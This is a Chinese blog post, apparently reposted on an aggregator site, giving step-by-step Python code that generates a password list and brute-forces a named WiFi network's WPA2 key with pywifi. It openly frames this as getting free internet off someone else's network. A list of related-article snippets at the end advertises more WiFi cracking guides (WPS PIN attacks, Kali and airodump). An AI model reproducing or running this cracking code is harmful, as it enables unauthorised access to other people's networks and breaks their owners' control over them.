【Python】Python破解WiFi密码

news/2024/11/25 15:31:09/

不想交网费?不想交,那然我们一起蹭网吧!(不过劝你别用,一是费时间,二是网速也慢😂)

言归正传,首先你得有一台电脑,一个Python,还有pywifi。

​​1.​​​​​下载pywifi

按下win+r键,会弹出这个窗口watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETkDkuIDkuKrojrflvpfor7rotJ3lsJTml6DogYrlpZbnmoTkuro,size_8,color_FFFFFF,t_70,g_se,x_16

然后输入cmd,会弹出来这个watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETkDkuIDkuKrojrflvpfor7rotJ3lsJTml6DogYrlpZbnmoTkuro,size_15,color_FFFFFF,t_70,g_se,x_16 

然后输入 pip install pywifi就好了

2.编辑代码(这里我用的是pycharm)

代码如下

import itertools as its
words="1234567890qwertyuiopasdfghjklzxcvbnm"
#生成密码本的位数,五位数,repeat=5
r=its.product(words,repeat=3)

dic=open(r"E:\密码本.txt","a")#记得改路径
for i in r:
    dic.write("".join(i))
    dic.write("".join("\n"))
    print(i)
dic.close()
print("密码本已生成")

3.校对密码


 

import pywifi

from pywifi import const

import time

import datetime

 

def wifiConnect(pwd):

    wifi=pywifi.PyWiFi()

    ifaces=wifi.interfaces()[0]

    ifaces.disconnect()

    time.sleep(1)

    wifistatus=ifaces.status()

    if wifistatus ==const.IFACE_DISCONNECTED:

        profile=pywifi.Profile()

        #要连接WiFi的名称

        profile.ssid="jiayi"

        profile.auth=const.AUTH_ALG_OPEN

        #wifi加密算法,一般wifi加密算法为wps

        profile.akm.append(const.AKM_TYPE_WPA2PSK)

        profile.cipher=const.CIPHER_TYPE_CCMP

        #调用密码

        profile.key=pwd

        #删除所有连接过的wifi文件

        ifaces.remove_all_network_profiles()

        #设定新的连接文件

        tep_profile=ifaces.add_network_profile(profile)

        ifaces.connect(tep_profile)

        #wifi连接时间

        time.sleep(3)

        if ifaces.status()==const.IFACE_CONNECTED:

            return True

        else:

            return False

    else:

        print("已有wifi连接") 

 

#读取密码本

def readPassword():

    print("开始破解:")

    #密码本路径

    path="E:\密码本.txt"

    #打开文件

    file=open(path,"r")

    while True:

        try:

            #一行一行读取

            pad=file.readline()

            bool=wifiConnect(pad)

            

            if bool:

                print("密码已破解: ",pad)

                print("WiFi已自动连接!!!")

                break

            else:

                #跳出当前循环,进行下一次循环

                print("密码破解中....密码校对: ",pad)

        except:

            continue

好了,去试试吧,就是时间比较久

拜拜👋🏻

 

 

 

 

 

 

 


http://www.ppmy.cn/news/141949.html

相关文章

神操作,用Python教你暴力破解WiFi密码,附赠技术实现视频

用Python教你暴力破解wifi密码。也许即将进入5G时代,wifi可能成为可有可无的产品,但是产品可以是过时,但是技术只会得到更进一步的发展。 今天,一姐就带大家见识见识,用Python暴力破解wifi密码的方式,这是大…

隔壁家的WIFI密码如何破解?Python教你百分之百成功蹭网~

导语 ​ 我想大家对WIFI不陌生叭~WIFI是特别实用的,因为每个人的手机流量都是花钱还有限制的。一到限制流量的时候,手机就网速就卡的要死,还有周天好不容易放一天假休息打游戏。 在家的话,一家人都用同一个WiFi,打游戏这么卡的网…

Wifi密码破解之二:利用wps漏洞穷举PIN码破解wifi密码

转自:http://xiao106347.blog.163.com/blog/static/21599207820136161132836/ 得到PIN码,怎么破解路由的密码呢?Linux系统下我们可以使用 Reaver 软件破解出路由的密码;下图是通过路由器的PIN码得到wifi密码的效果图: 已知PIN码是 49312119 破解出密码…

【转】利用kali破解wifi密码全过程

原文地址:http://www.secbox.cn/hacker/wireless/4877.html?utm_sourcetuicool&utm_mediumreferral 作者:黑色天使 QQ:1120620069 博客:http://love-lcy.blog.163.com/ 团队:安全盒子 —————————————…

kali攻击wifi、破解wifi密码详细教程(二)

上一个博客讲了第一种wifi攻击、破解的方法 第一种方法实用性差,现在的密码都很复杂,没有好的字典成功率会很低 所以,想破解成功率高一些,就需要破解工具了 接下来就是第二种破解wifi的方法,比第一种更加实用 准备…

教你以一秒钟10万+个密码的速度破解WiFi

本文中涉及的所有技术仅供个人学习、技术交流,禁止用于非法用途!!请在国家法律允许的范围内使用!!! 本文中涉及的所有技术仅供个人学习、技术交流,禁止用于非法用途!!请…

kali rtl8812 使用airodump破解wifi密码

实验前提:安装好无线网卡。最好是kali免驱的网卡。 若不是kali免驱动网卡可借鉴以下rtl8812au操作方式 sudo apt update更新源列表apt upgrade命令将尝试下载在apt服务器上具有更新的所有软件包apt-get dist-upgrade升级系统相关依赖重启或试试以下两个驱动命令&a…

轻松掌握,板对板连接器选型指南

一、什么是板对板连接器? 板对板连接器(简称BTB),是精密电路中电源和信号耦合连接必不可少的器件。随着产品复杂度和电路设计规模的不断提升,板对板连接器也沿着市场需求向着高速率,高功率密度,轻薄化几个方向发展。 …